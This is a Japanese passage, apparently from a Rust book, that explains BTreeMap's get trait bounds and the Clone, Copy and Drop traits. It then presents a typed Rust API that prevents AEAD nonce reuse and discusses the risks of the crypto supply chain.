私たちはしばしば、トレイトをジェネリック引数や戻り値に束縛することで、この 2 つを組み合わせます。 これにより、ユーザーが何らかの振る舞い(1 つ以上の特定のトレイト)を実装している任意の[ジェネリック]型に活用できる単一の関数を書けます。まだ発明されていないカスタム型に対してさえもです!

マップの get API

マップ連想配列またはシンボルテーブルとも呼ばれる)は、キーと値のペアを格納するデータ構造です。 キーは一意であり、値はキーによって高速に検索できます。

Rust の BTreeMap2順序付きマップであり、全順序3の概念を持つ任意のキー型をサポートします。 くだけた言い方をすれば、キーを論理演算子(><=== など)で比較でき、ソートできるということです。 それは、それらが Ord トレイトを実装しているからです。 キーを順序付けできないがハッシュ化できる場合は、代わりに HashMap4 を使うことになるでしょう。

順序付きマップで検索を実行したいとします。つまり、与えられたキーに関連付けられた値があれば、それを取得するということです。 get メソッドは、キーへの参照を入力として受け取り、Option(キーが見つかった場合の Some ケースでは値への参照を含む)を返すべきです。

標準ライブラリではこのように動作します。以下は公式の例です5:

use std::collections::BTreeMap;

let mut map = BTreeMap::new();
map.insert(1, "a");
assert_eq!(map.get(&1), Some(&"a"));
assert_eq!(map.get(&2), None);

上記に基づくと、BTreeMap<K, V>get メソッドのシグネチャは次のようになると予想するかもしれません。

impl<K, V> BTreeMap<K, V> {
    /// キーに対応する値への参照を返します。
    pub fn get(&self, key: &K) -> Option<&V>
    where
        K: Ord
    {
        // ...関数本体はここ...
    }
    // ... 残りのメソッド
}

しかし、そうではありません。 実際の get メソッドは次のシグネチャを持ちます6:

impl<K, V> BTreeMap<K, V> {
    /// キーに対応する値への参照を返します。
    pub fn get<Q>(&self, key: &Q) -> Option<&V>
    where
        K: Borrow<Q> + Ord,
        Q: Ord + ?Sized,
    {
        // ...関数本体はここ...
    }
    // ... 残りのメソッド
}

なぜ 2 つの異なるジェネリック型が関わっているのでしょうか? そして、これらの奇妙に見えるトレイト境界はいったい何なのでしょうか?

各トレイトを個別に説明しながら、これらの疑問に答えられるよう段階的に進めていきましょう。 この API を理解できれば、トレイトのイディオマティックな使い方全般を理解する道のりをかなり進んだことになります。

Ord トレイト

Ord7 は、get のシグネチャにある 3 つのトレイトのうち最も単純で、すでに説明したことのあるものです。 ある型が Ord を実装している場合、その型は順序付け可能です8。 この型の値同士を比較し、2 つが等しいか、または一方が他方より大きいかを判定できます。 これにより、値をソートできます。

第 3 章では、OS プロセスを表す構造体に対して Ord トレイトを実装しました。 これにより、特定の優先度の定義(私たちの場合はプロセスの現在の状態)に基づいてプロセスのリストをソートできるようになりました。

Sized トレイト

Sized9 は、マーカートレイトとして知られるものです。 Ord とは異なり、Sized にはそれ自体の振る舞いがないため、実装すべき「インターフェイス」メソッドはありません。 マーカートレイトは、振る舞いを指定するのではなくプロパティをマークします(どんでん返しです!)。

トレイト境界 T: Sized は、型 T のすべての値がメモリ上で同じサイズを持ち、そのサイズがコンパイル時に既知であることをコンパイラに伝えます10。 たとえば、u32 は常に 4 バイト長です。

ここから面白くなります。上記のシグネチャで使われている束縛である T: ?Sized(先頭の ? に注意)は、型 T の値が任意でサイズ付きである、つまり Sizedある場合もない場合もあることを意味します。 これは妙に曖昧に思えませんか?

実は、この曖昧さによって、UB を一切導入することなく柔軟性が得られます。 標準ライブラリの設計者は、一般的なケースと例外の両方を扱いたいと考えました。 Rust の型の大半はサイズ付きですが、そうでない型も少数あります。 サイズなし型の例には、次のものがあります。

  • スライス: スライス [T] は 0 個以上の連続した T を含むことができます。そのため、異なるスライス値は異なるサイズを持つ可能性があります。

    • &[T]、つまりスライスへの参照は、常にファットポインタ(通常のポインタにスライス長のメタデータを加えたもの)のサイズであることに注意してください。
  • トレイトオブジェクト: Rust には動的ディスパッチ11のための仕組みがあります。dyn キーワードはトレイトオブジェクト、つまり与えられたトレイトを実装する値を示します。その値は、そのトレイトを実装している限り、任意の型であり、任意のサイズを持つことができます。

    • たとえば、Box<dyn Error> は、Error トレイトを実装する任意の型のインスタンスへのポインタです。

さて、BTreeMap のようなコレクションに格納される値は Sized でなければなりません。 そうでなければ、それらをメモリにどのように格納すればよいかわからないからです。 しかし、get はパラメーターとしてサイズ付き型とサイズなし型の両方をサポートするため(Q: ?Sized)、BTreeMap検索は柔軟です。 対応する型のサイズなしキーを使って、サイズ付きキーに関連付けられた値を見つけられます。 このセクションの終わり近くで具体例を見ていきます。

Borrow トレイト

Borrow<T>12 を実装する型は、参照 &T借用できます。 似たトレイトである AsRef13 とは異なり、Borrow は借用された &TT と同じ比較およびハッシュのセマンティクスを持つことを要求します。 BTreeMap(比較の列による検索)や HashMap(ハッシュによる検索)に関係がありそうですよね?

まさにその通りです。Borrow トレイトは、コレクションの検索をより簡単かつ効率的にするために設計されています。 実際、標準ライブラリには、すべての型 T が自分自身を借用できるようにする「ブランケット実装」(常に事前実装されているトレイト)が含まれています(つまり、T: Borrow<T> を「無料で」得られます)。

これにより、キーのコピーをメモリ上に作成しなくてもキー検索が可能になります。 そのため、BTreeMap<String, T>&str 型のキーで検索する場合、追加のヒープ割り当ては不要です。

すべてを組み合わせる

OrdSizedBorrow が組み合わさって API の利用にどのように影響するかを本当に理解するために、例を見ていきましょう。

たとえば、8バイトの hexspeak14 ワード、つまり [u8; 8] 型の値を、セットに格納するとします。 その後、ユーザーが提供した可変サイズの hexspeak ワードのリスト、つまり Vec<u8> 型の値を受け取ります。 長さが8バイトのものもあれば、そうでないものもあります。

ユーザーが提供したワードのいずれかが、すでにセット内に存在するかを確認するために、get メソッドを使えるようにしたいとします。 幸い、get を使うとスライス(サイズなしの [u8])を検索できます。 任意サイズのユーザー提供ワードを、固定サイズ(8バイトワード)のセットに対する検索キーとして使用できます!

use std::collections::BTreeSet;

// 2つの hexspeak ワード
let bad_code: [u8; 8] = [0xB, 0xA, 0xA, 0xD, 0xC, 0x0, 0xD, 0xE];
let bad_food: [u8; 8] = [0xB, 0xA, 0xA, 0xD, 0xF, 0x0, 0x0, 0xD];

// セットには均一なサイズの値を格納しようとしていることに注目してください
assert_eq!(std::mem::size_of_val(&bad_code), 8);
assert_eq!(std::mem::size_of_val(&bad_food), 8);

// 2つのワードをセットに格納します
let mut set = BTreeSet::new();
set.insert(bad_code);
set.insert(bad_food);

// Vec<u8> はサイズ付きで、実際にはヒープバッファーへのファットポインターです。
// しかし、vec のスライスはサイズなしです! たとえば、次のようになります。
//     &my_vec[0..5] は最初の5要素
//     &my_vec[1..] は最初の要素を除くすべて
//     &my_vec[..] はすべての要素
let bad_food_vec: Vec<u8> = vec![0xB, 0xA, 0xA, 0xD, 0xF, 0x0, 0x0, 0xD];
let bad_dude_vec: Vec<u8> = vec![0xB, 0xA, 0xA, 0xD, 0xD, 0x0, 0x0, 0xD];
let cafe_bad_food_vec: Vec<u8> = vec![
    0xC, 0xA, 0xF, 0xE, 0xB, 0xA, 0xA, 0xD, 0xF, 0x0, 0x0, 0xD
];

// 存在する [u8; 8] を検索します
assert_eq!(
    set.get(&bad_food_vec[..]),         // 0xBAADFOOD
    Some(&[0xB, 0xA, 0xA, 0xD, 0xF, 0x0, 0x0, 0xD])
);

// 存在しない [u8; 4] を検索します
assert_eq!(
    set.get(&bad_food_vec[..4]),        // 0xBAAD
    None
);

// 存在しない [u8; 8] を検索します
assert_eq!(
    set.get(&bad_dude_vec[..]),         // 0xBAADDUDE
    None
);

// 存在する [u8; 8] を検索します
assert_eq!(
    set.get(&cafe_bad_food_vec[4..]),   // 0xBAADF00D
    Some(&[0xB, 0xA, 0xA, 0xD, 0xF, 0x0, 0x0, 0xD]),
);

// 存在しない [u8; 12] を検索します
assert_eq!(
    set.get(&cafe_bad_food_vec[..]),    // 0xCAFEBAADF00D
    None
);

では、任意長([u8])のキーを使って固定長のセット要素([u8; 8])を検索できるようにするために、何が起きたのでしょうか? モノモーフィゼーションの魔法によって、コンパイラーが私たちのジェネリックな get 呼び出し箇所を何に変換したのかを考えてみましょう。

pub fn get(&self, key: &[u8]) -> Option<&[u8; 8]>
{
    // ...コンパイル済みバイナリ内のこのコードの関数本体...
}
  • OrdSized - トレイト境界 Q: Ord + ?Sized は、スライスの内容をソートできる限り、任意サイズのスライスを使って自由に検索できることを意味します。[u8] はその基準を満たします。上記では、ユーザー提供のベクターをスライスに変換しました。

  • OrdBorrow - トレイト境界 K: Borrow<Q> + Ord により、その変換が可能になります。前述の任意サイズかつソート可能なスライスを借用できる任意のキーを使って検索できます。Vec は、格納されている要素数に関係なく、自身の要素を連続したスライスとして見ることができます。Vec<T>Borrow<[T]> を実装しているため、Vec はそのスライスを自分自身から借用することもできます(データはコピーされません!)。したがって、&my_vec[..]my_vec.as_slice() のスライス記法による省略形)により、検索用の &[u8] キーを渡せます。

結論として、BTreeMapget は3つのトレイト(Ord?SizedBorrow)を組み合わせることで、柔軟で効率的な API を実現しています。

さらに一歩進める: Default トレイト

これから構築するライブラリでは、4つ目のトレイト Default15 を加えます。 名前の通り、このトレイトはデフォルト値を持つ型のためのものです。 たとえば、次のようになります。

  • isize のデフォルトは 0 です。

  • Option のデフォルトは None です。

  • 任意の動的コレクション(VecBTreeSetHashMap など)のデフォルトは、そのコレクションの空のインスタンスです。

私たちの API は次のようになります。

/// キーに対応する値への参照を返します。
pub fn get<Q>(&self, key: &Q) -> Option<&V>
where
    K: Borrow<Q> + Ord + Default,
    Q: Ord + Default + ?Sized,
{
    // ...ここに関数本体...
}

心配しないでください。読むより使う方が簡単です。 とはいえ、キーと値に Default を要求するという選択は制約になります。私たちのライブラリのユーザーは、私たちのコレクションのいずれかに格納したい任意のカスタム型について、そのトレイトが実装されていることを保証しなければなりません。

なぜそのような制限を強制するのでしょうか? Default は「引数なしコンストラクター」のようなものであり、ある型の値が常に安全に初期化されることを保証します。

これは、前の章でアリーナアロケーターに使用した、サードパーティの #![forbid(unsafe_code)] ライブラリである tinyvec16 に格納される要素の要件です。 つまり、Default の制約は依存関係から継承されています。

それを課すことは、保証に関するトレードオフです。 私たちは、100% 安全なバイナリ、つまり私たちのすべてのコードとそのコードのすべての依存関係(たとえば、ライブラリのサプライチェーン全体)がメモリ安全性を最大化するという保証と引き換えに、ユーザーに少し多くを求めます。

Default を要求することに道徳的に反対で、標準ライブラリと完全に API 互換のままでいたい場合は、今すぐアロケーター内の tinyvecsmallvec17 に置き換え、この本の残りの非テストコードをすべて調整してかまいません。 smallvec は、もう1つのスタックベースの Vec 代替です。 Mozilla の Servo ブラウザーエンジンで使用されています。

残念ながら、smallvec には unsafe コードが含まれています。 セキュリティ研究者は、smallvec に複数のメモリ安全性脆弱性を発見しており、それらには CVE が割り当てられています(例: CVE-2021-25900、CVE-2019-15554、CVE-2018-20991 など)。

smallvec は人気があり、十分に検証されていますが、まだ存在する未発見のメモリ安全性脆弱性の数については、何も保証できません。 対照的に、tinyvec がメモリ破壊攻撃の被害を受けることは決してありません。これは #![forbid(unsafe_code)] だからです。

他に知っておくべきトレイトはありますか?

すべての Rust プログラマーが知っておくべきトレイトの公式な一覧はありません。 しかし、メモリの割り当てと解放に関連する 3 つのトレイト、CloneCopyDrop にはほぼ間違いなく出会うことになります。 これらのいくつかには以前触れましたが、改めて見直す価値があります。

  • Clone18深いコピーのロジックを定義します。Clone 型は Sized でなければなりません。元の値を再帰的にたどる必要がある場合、クローンは高コストになる可能性があります。所有しているすべてのものに対応する相手を割り当てなければならないためです。

    • たとえば、Vec<String> をコピーするということは、各 String をコピーするということです。String は内部的には Vec<u8> なので、各 String をコピーするということは、各 u8 をコピーするということです。これは再帰が 2 レベルにすぎませんでしたが、Clone は任意の深さを必要とする可能性があります。

    • コードに my_structure.clone() 呼び出しが散らばっているなら、それらを取り除くことは「手軽に得られる」性能最適化かもしれません。所有権の流れを、主に参照を処理するようにリファクタリングできるなら(たとえば String&str に置き換える)、貴重な時間とメモリを節約できるかもしれません。「かもしれない」と言っているのは、性能最適化は時期尚早ではなく、データ駆動で行う必要があるためです。第 12 章でマイクロベンチマークについて扱います。

  • Copy19 は、浅いバイト単位のコピーだけで完全にクローンできる型のためのマーカートレイトです。これは、たどるべきポインタや、ハンドルを複製すべき外部リソースがないことを意味します。

    • プラットフォーム固有の符号付き整数型である isize を考えてみましょう。整数の値をエンコードする、固定サイズで連続した小さなバイト列を複製すれば、元の完全な複製が得られます。

    • Copy の実装は控えめに行うべきです。これは、代入演算子 = が単に所有権を移す(「ムーブセマンティクス」)のではなく、バイトをコピーする(暗黙の「コピーセマンティクス」)ことを意味します。

  • Drop20 は「デストラクタ」を定義します。実装している型の変数がスコープを抜けるときに呼び出される、ユーザー定義可能な解放ロジックです。すべてのメモリと共有リソースは解放されなければなりません。Copy を実装する型は Drop を実装することを許可されていません(これらは相互排他的であるべきです。ビット単位でコピー可能なメモリはビット単位で消去できます)。

    • 変数の束縛のスコープが条件文に依存する場合、ムーブセマンティクスは実行時に追跡されることに注意してください。プログラムの実行中、どの分岐が選ばれるかに基づいて、値はあちらこちらへ移動できます。しかし最終的に Rust はそれを一度だけドロップします。最後にムーブされた場所がスコープを抜けるときです。

要点

標準ライブラリの BTreeSet/BTreeMap の単なるユーザーである私たちには、Ord?SizedBorrow の細かなニュアンスはおそらく実感しにくいでしょう。 マップの get シグネチャがなぜあのような形をしているのかを考えなくても、長く実りあるキャリアを送ることはできるでしょう。

しかし、API 互換の代替実装を設計し実装する立場としては、標準ライブラリが提供するのと同じ柔軟な抽象化をユーザーに提供したいと考えます。 そのためには、これらのトレイトと、それらがどのように相互作用するかを理解する必要があります。

標準ライブラリが、このセクションの冒頭で使ったより直感的なシグネチャ(pub fn get<K: Ord>(&self, key: &K) -> Option<&V>)を採用していたなら、上の hexspeak の例はコンパイルすらできなかったでしょう。 したがって、ここまで扱ってきた複雑さには大きな見返りがあります。同じコードが、より広い範囲のユースケースをシームレスにサポートできるのです。

これでトレイト束縛の背景をひととおり押さえたので、特定のインターフェイスがどのように、そしてなぜそのように設計されているのかがわかりました。 では次に、それらを支えるロジック、つまり自己平衡スケープゴート木の中核操作に取り組みましょう。


  1. 構造体 std::collections::BTreeSet. The Rust Team(2022年アクセス)。

  2. 構造体 std::collections::BTreeMap. The Rust Team(2022年アクセス)。 ↩2

  3. 全順序 Wikipedia(2022年アクセス)。

  4. 構造体 std::collections::HashMap. The Rust Team(2022年アクセス)。

  5. BTreeMapget API の例. The Rust Team(2022年アクセス)。

  6. BTreeMapget API. The Rust Team(2022年アクセス)。

  7. トレイト std::cmp::Ord. The Rust Team(2022年アクセス)。

  8. 全順序 Wikipedia(2022年アクセス)。

  9. トレイト std::marker::Sized. The Rust Team(2022年アクセス)。

  10. Rust における Sizedness. pretzelhammer(2020)。

  11. 動的ディスパッチ. Wikipedia(2022年アクセス)。動的ディスパッチのユースケースの 1 つは、異種コレクションを可能にすることです。たとえば Vec<Box<dyn Error>> を使うと、型が異なる可能性のある Error オブジェクトのベクターを格納できます。

  12. トレイト std::borrow::Borrow. The Rust Team(2022年アクセス)。

  13. トレイト std::convert::AsRef. The Rust Team(2022年アクセス)。

  14. Hexspeak. Wikipedia(2022年アクセス)。

  15. トレイト std::default::Default. The Rust Team(2022年アクセス)。

  16. tinyvec. Lokathor(2022年アクセス)。

  17. smallvec. Simon Sapin、Ms2ger、Servo project(2022年アクセス)。

  18. トレイト std::clone::Clone. The Rust Team(2022年アクセス)。

  19. トレイト std::marker::Copy. The Rust Team(2022年アクセス)。

  20. トレイト std::ops::Drop. The Rust Team(2022年アクセス)。

差分ファジングハーネスの構築

注: このセクションは作業中です。 プレビューについては、こちらのブログ記事を参照してください:

借用チェッカーを超えて: 差分ファジング


戦術的信頼: 開発者のためのプラットフォーム暗号技術(1/2)

私たちの社会が依存しているデジタルシステムには、どれも何らかの 信頼 の概念があります。 通信する当事者は、自分が「話している」相手が なのかを確信を持って識別できます(認証)。 そして、その「会話」が プライベート であることに安心できます(機密性)。 ネットワークに接続されていないシステムでさえ、フラッシュしたり実行したりするコードが 変更 されたり 破損 したりしていないことを検証します(完全性)。

暗号ライブラリは、認証、機密性、完全性といった性質を支える技術的な仕組みです。 これらの不完全なソフトウェアコンポーネントは、社会的な信頼が構築され維持される基盤です。 したがって、暗号ライブラリに存在する悪用可能な欠陥は、深刻かつ広範な影響を及ぼす傾向があります1

この2部構成のセクションは、厳密な学術的意味での応用暗号についてのものではありません。暗号プリミティブやプロトコル設計を基礎から説明することはしません。 そうしたより形式的な概念は、象牙の塔に存在すると仮定しましょう2。 私たちは、中世の農民として、長く生き残っている本番ソフトウェアという泥の中で戦っています。出荷し、パッチを当て、リファクタリングするのです。

これらのセクションは、[理論的には]健全な設計をデプロイする際の過酷な現実を扱います。実世界のソフトウェアに内在する特定のリスクを低減することを目指します。 これは、信頼を大規模に出荷する際に プラットフォームセキュリティエンジニアリング が何を意味するかについての1つの解釈です。 ここで扱う概念は言語に依存しません。おそらく、あなたの問題領域や選択した技術スタックにも適用できます。

ここでいう「プラットフォームセキュリティエンジニアリング」はどのように定義していますか?

機能チームがセキュアかつ迅速に出荷できるようにするライブラリ、フレームワーク、ツールを構築することです。 本質的には、高速なソフトウェア開発のために「強固なセキュリティ基盤」を提供することです。 コードレベルの一貫性という観点で。

では、この2部構成のセクションの予定は何でしょうか?

Part 1では コード に焦点を当てます(完全で実行可能なソースは、本書のリポジトリ内の code_snippets/chp14/tactical_trust にあります)。 私たちの概念実証プログラムは、たとえ控えめであっても、「シフトレフト」自動化の水準を引き上げることを目指しています(攻撃者に1インチを与えれば、彼らは1マイルを奪うでしょう)。 スタックの異なるレベルにおける、2つの暗号プラットフォームセキュリティ問題へのソリューションを試します。

  • API: 任意の規模のコードベースで、nonce再利用の脆弱性を体系的に防止できるでしょうか?

  • サプライチェーン: CIは暗号依存関係に固有のポリシーをどのように強制すべきでしょうか?

Part 2では 概念 に焦点を当てますが、それでも多くのコードを含みます。重点は、{問題,解決策} 空間をより高いレベルで探求することです。 スコープを 情報漏えい の問題に絞り、2つの一般的な脅威モデルというレンズを通して、脆弱性と最先端の緩和策を深掘りします。

  • Man-in-the-Middle (MITM): 攻撃者が2つ以上のエンドポイント間のネットワーク通信を傍受します。

  • Man-at-the-End (MATE): 攻撃者が1つ以上の通信エンドポイントを直接侵害します。

ソフトウェアエンジニアリングよりも暗号設計に関心がある場合はどうでしょうか?

朗報です、皆さん!3 私たちはコードレベルの戦術に焦点を当てていますが、あなたが現在どの段階にいるかに応じて、正しい設計を構築する助けとなる、高品質で戦略に焦点を当てたリソースがいくつかあります。例を示します。

API: より強力な型でNonce再利用を防ぐ

「Nonce」は「number used only once」を組み合わせたかばん語です。 その名前が示すように、同じnonceを誤って複数回使用すること、別名 nonce再利用 は、広く使われている多くの暗号アルゴリズムにとって壊滅的な落とし穴です。 一般的な操作では、重要なセキュリティ特性を維持するために、入力としてランダムなnonceに依存しています。

  • 暗号化 - 一意なnonceはしばしば「Initialization Vector」(IV)と呼ばれます。これは 平文および/または鍵の復元 ならびに リプレイ攻撃(以前の通信を悪意を持って繰り返すこと)を防ぎます。

    • WPA2は、2006年から2020年までWi-Fiネットワークにおける暗号化の事実上の標準でした。その寿命の終盤に、研究者たちはすべての実装に対する実用的な攻撃を実証しました7。Wi-Fiエンドポイントとネットワークに参加するクライアントとの間の4ウェイハンドシェイクにおける再送信ロジックを悪用することで、攻撃者はプロトコルがサポートするすべてのストリーム暗号についてnonce/IVの リセット/再利用 を強制できました(例: 「キーストリーム再利用」)。つまり、攻撃者はネットワークパケットを復号、再生し、[場合によっては]偽造できます。トランスポート層の完全な侵害です(例: TCP。ただしHTTPSは含まれません)。
  • 署名 - 一意なnonceは 署名の偽造(攻撃者が作成したデータに対して検証に通る署名を生成すること)と 署名の複製(以前に署名されたデータのリプレイ)を防ぎます。

    • Sony PlayStation 3は、製造開始から4年経っても真の脱獄が存在しない、史上最もセキュアなゲーム機になる態勢を整えていました。PS3はECDSAを使用して、初期ブートからユーザー空間アプリの起動までの信頼の連鎖を作成し、ソフトウェアライセンスチェックを暗号学的に強制していました。ECDSA署名は、nonceと署名対象データのハッシュを入力として受け取ります。ハッカーたちは、Sonyの実装がハードコードされたnonceを使用していることを発見しました8。この欠陥により、ECDSAの 秘密 署名鍵を容易に再計算できるようになり、その結果、攻撃者は任意の未ライセンスソフトウェアを実行できるようになりました。
暗号化の文脈におけるノンスの再利用
図 1: ノンスの再利用: 1つのノンスが複数の暗号化操作に使用される(赤い入力、ステップ 3 以降)。

では次に、任意の大規模なコードベースにおいて、すべてのノンスがランダムかつ単回使用であることを、どのように証明すればよいでしょうか? 安全性の不変条件を言語の型システムにエンコードするのです。 誤用がほぼ不可能な API を作成でき、安全な API だけを使用するプログラムをコンパイルするだけで、その正しさの静的検証を自動的に得られます!

大胆な主張ですが、実装は比較的単純です。

use aead::{
    Aead, AeadCore, Nonce, Payload,
    rand_core::{CryptoRng, RngCore},
};
use core::error::Error;

/// Can be used in arbitrarily many decryption operations.
/// Its counterpart, [`EncryptionNonce`], can only be used for one encryption operation.
pub type DecryptionNonce<A> = Nonce<A>;

/// A safer nonce type for AEAD. See trait [`NonceSafeAead`].
//
// SECURITY: Intentionally opaque and unique. Do not derive/implement any of:
// `Default`, `Copy`, `Clone`, `Ord`, `Eq`, `Debug`, etc.
pub struct EncryptionNonce<A: AeadCore>(Nonce<A>);

impl<A: AeadCore> EncryptionNonce<A> {
    /// Generate a new random nonce for AEAD-specific encryption.
    pub fn generate_nonce(rng: impl CryptoRng + RngCore) -> Self {
        EncryptionNonce(<A as AeadCore>::generate_nonce(rng))
    }

    /// Crate-private conversion into [`aead::Nonce`].
    //
    // SECURITY: Do not make `pub`, risks reuse with `aead::Aead` APIs.
    fn less_safe_to_raw_nonce(self) -> Nonce<A> {
        self.0
    }
}

/// Nonce-safe AEAD. Guarantees the following properties:
///
/// 1. Nonce is random.
///     * Opaque type with rand-only constructor.
/// 2. Nonce is used in exactly one encryption operation.
///     * Pass-by-value consumption.
///
/// See also: [`EncryptionNonce`] and [`DecryptionNonce`].
pub trait NonceSafeAead {
    /// Encrypt plaintext payload with a random, single-use nonce.
    /// Returns ciphertext bytes and decryption-only nonce.
    fn nonce_safe_encrypt<'msg, 'aad>(
        &self,
        enc_nonce: EncryptionNonce<Self>,
        plaintext: impl Into<Payload<'msg, 'aad>>,
    ) -> Result<(Vec<u8>, DecryptionNonce<Self>), impl Error>
    where
        Self: AeadCore + Aead + Sized,
    {
        let nonce = enc_nonce.less_safe_to_raw_nonce();
        self.encrypt(&nonce, plaintext)
            .map(|ciphertext| (ciphertext, nonce))
    }

    /// Decrypt ciphertext.
    /// Identical to [`aead::Aead::decrypt`], defined so that [`aead::Aead`]
    /// doesn't have to be brought in-scope when using [`NonceSafeAead`].
    //
    // SECURITY: ban import of less safe `aead::Aead` trait.
    fn decrypt<'msg, 'aad>(
        &self,
        dec_nonce: &DecryptionNonce<Self>,
        ciphertext: impl Into<Payload<'msg, 'aad>>,
    ) -> Result<Vec<u8>, impl Error>
    where
        Self: AeadCore + Aead + Sized,
    {
        <Self as Aead>::decrypt(self, dec_nonce, ciphertext)
    }
}

// Use above default impl for below algorithms
impl NonceSafeAead for chacha20poly1305::XChaCha20Poly1305 {}
impl NonceSafeAead for aes_gcm::Aes256Gcm {}
impl NonceSafeAead for aes_siv::Aes256SivAead {}

Aead9 は Rust 暗号エコシステムで広く使われているトレイトです。 これは、AES-256-GCM や XChaCha20Poly1305 のような Associated Data 付き認証暗号(AEAD)アルゴリズムの encrypt および decrypt 操作に対する共通インターフェイスを定義します。 この種のアルゴリズムは機密性と完全性の両方を提供し、さらに任意で、暗号化されていない「関連」メタデータ(ネットワークヘッダー、UUID、コンテキスト情報などを想像してください)を結び付けられます。 基本的に、AEAD は日常的な暗号化の問題のほとんどに対して、推奨されるオールインワンの解決策であるべきです。

さて、Aead の暗号化/復号 API10 はどちらも、単一のノンス型を参照として受け取ります: &Nonce<A: AeadCore>。つまりプログラマーは、以前に復号に使用したものと同じノンスを使って新しいデータを自由に暗号化できてしまいます(上の図 1 を参照)。

  • ノンスが AeadCore トレイトに対してジェネリックである点に注目してください。これにより、アルゴリズム固有の配列サイズ(例: AES-256-GCM では [u8; 12](96 ビット)、XChaCha20Poly1305 では [u8; 24](192 ビット))を、すべての呼び出し箇所でコンパイル時に検証できます。

上記の再利用に対する解決策の要点は次のとおりです。encrypt には EncryptionNonce<A: AeadCore>decrypt には DecryptionNonce<A: AeadCore> という、2つの異なるノンス型を使用します。 この二分化により、ノンス再利用の脆弱性を再びコンパイル時に(出荷前に、かつコードベース全体にわたって体系的に)防げます。その理由は次のとおりです。

  • EncryptionNonce は、ランダムに生成されること(rand のみのコンストラクタを持つ不透明型)と、単回使用であること(値渡しパラメータのセマンティクス)が保証されます。単回使用という性質は、Rust の [linear] 型システムと特に相性がよいです。復号側の対応物であるエイリアス type DecryptionNonce<A> = Nonce<A>; は、通常どおり動作し続けます。

  • fn generate_nonce(rng: impl CryptoRng + RngCore) におけるマーカートレイト CryptoRng11 は重要です。偏りのある(一様ランダムではない、という意味の)ノンスは、再利用されたノンスと同じくらい破滅的になり得ます。別の ECDSA の大失敗では、偏りのあるノンスによって Bitcoin の秘密鍵が抽出可能になりました12

「ノンス誤用耐性」のあるアルゴリズムはどうでしょうか? またサイズ制限は?

強い型付けは、ノンス再利用に対する唯一の解決策ではありません。 防御策はアルゴリズム自体の設計にも実装できます。AES-GCM-SIV13 を参照してください。 「Synthetic Initialization Vector」(SIV)は、平文を含む入力を使って最終的な IV/ノンスを導出します。実質的に、2つの異なる平文に2つの異なるノンスを使わせることになります。

しかし、同じメッセージ同じノンス2回同じ鍵の下で暗号化された場合、攻撃者はその2つのメッセージが等価であることを知ることになります(ただし、その内容はわかりません)。 この等価性の漏洩は、より大きな脅威モデルの文脈では重大な影響を持ち得るため、強い型付けで再利用を防ぐことは依然として、より高い保証を持つ選択肢です。

しかし、まだ安心はできません。 AES-256-GCM は、ランダムノンスを使用する場合、同じ鍵の下で安全に暗号化できるメッセージは 232(約43億)個までです14。それを超えるとノンス衝突(偶然の再利用)のリスクがあります。XChaCha20Poly1305 はその安全な上限を 280(実質的に無限です!)15 まで引き上げ、AES のハードウェアサポートがないデバイスではより高速です。

以下のユニットテストにより、NonceSafeAead トレイトが期待どおりに暗号化/復号することを検証できます。

use aead::{KeyInit, OsRng};
use nonce_typing::{EncryptionNonce, NonceSafeAead};

const PLAINTEXT_MSG: &[u8; 86] = b"Two cryptographers walk into a bar. \
    Nobody else has a clue what they're talking about.";

#[test]
fn nonce_safe_xchacha20poly1305() {
    use chacha20poly1305::XChaCha20Poly1305;

    let key = XChaCha20Poly1305::generate_key(&mut OsRng);
    let cipher = XChaCha20Poly1305::new(&key);
    let enc_nonce = EncryptionNonce::<XChaCha20Poly1305>::generate_nonce(&mut OsRng);

    let (ciphertext, dec_nonce) = cipher
        .nonce_safe_encrypt(enc_nonce, PLAINTEXT_MSG.as_ref())
        .unwrap();

    let plaintext = cipher.decrypt(&dec_nonce, ciphertext.as_ref()).unwrap();

    assert_eq!(&plaintext, PLAINTEXT_MSG);
}

しかし、実際に再利用を防げるのでしょうか? 同じ enc_nonce を2つの異なる nonce_safe_encrypt 呼び出しに渡してみてもかまいません。コンパイラエラーは見覚えのあるものになるはずです!

「形式検証済み」の暗号はどこから始めればよいですか?

任意の入力に対して、プログラムが特定の性質を満たすことを証明することが、形式検証の目的です。 データが「共有 XOR 可変」であることを保証する Rust の型システムは、特定の形式的手法と特に相性がよいです。メモリの状態について推論する必要が少なくなるためです。 暗号は検証コストも低めです。詳細な仕様が存在し、データ構造は静的に割り当てられ、入力サイズは有界です。

検証手法は多岐にわたり(定理証明、モデル検査、抽象解釈、シンボリック実行など)、対応するツールを活用するには通常かなりの専門知識が必要です。 しかし、怠惰な 多忙な開発者である私たちは、すでに形式検証済みのライブラリを容易に統合し、その恩恵を受けられます。 ネイティブ暗号の候補は2つあります。

  1. aws-lc-rs(Amazon)16 - ソースコードのシンボリック実行を使用して、プログラムが、アルゴリズムの人間可読な仕様から手作業でエンコードされた機械可読な仕様と一致することを証明します。

  2. symcrypt(Microsoft)17 - ソースは、対話型(つまり半手動)の定理証明器向けのモデルへ変換されます。さらに、ファジングとモデルベーステストの組み合わせを使用して、タイミングサイドチャネルを検出します。

形式検証は万能薬ではないことに留意してください。仕様が不完全な場合もあり、実装がモデルから逸脱する場合もあります。 前述の WPA2 4-way handshake は形式検証されていましたが、それでも悪用可能でした! その証明では、ネゴシエートされた鍵をいつインストールすべきかを指定できておらず、暗黙的に複数回のインストールを許してしまい、その結果、次回のインストール時にノンスがリセットされました 7

サプライチェーン: 暗号パブリッシャーを許可リスト化し、重複を禁止する

公式パッケージレジストリを持つプログラミング言語は、使っていて楽しいものです。サードパーティライブラリを簡単に見つけて統合できるため、より速く提供でき、自分の問題領域やビジネスドメインにより集中できます。 しかし、あらゆる利便性にはコストがあります。 ここでは:

  • 攻撃対象領域の拡大 - 巨大な依存関係グラフのどれほど深い位置にあっても、悪意のあるクレートが1つあるだけで、アプリケーション全体が侵害される可能性があります。また、タイポスクワッティング攻撃は、エコシステム全体の一定割合を無差別に被害者にします。

  • メモリ安全性の統計的な弱体化 - 依存関係の数は、unsafe Rustコード(公開クレートの19%がunsafeを使用しています18)や他言語のCFFIコードの量、ひいてはunsoundなコード全体の量(現実的にはunsafeの一部)とある程度相関している可能性があります。unsoundなコードは実行時にメモリ安全性エラーを引き起こす可能性があり、それらは本番環境で検出されないことがよくあります。

  • ソフトウェアの肥大化 - 推移的依存関係は数が広がりがちで19、「単純な」アプリの客観的なサイズと複雑性を爆発的に増大させます。プログラムが大きくなると、一般にアプリの起動は遅くなり、ダウンロード時間も長くなります。さらに、通常時(例: APIアップグレード)と緊急時(例: 脆弱な依存関係のアラート)の両方でメンテナンス負荷がかかります。

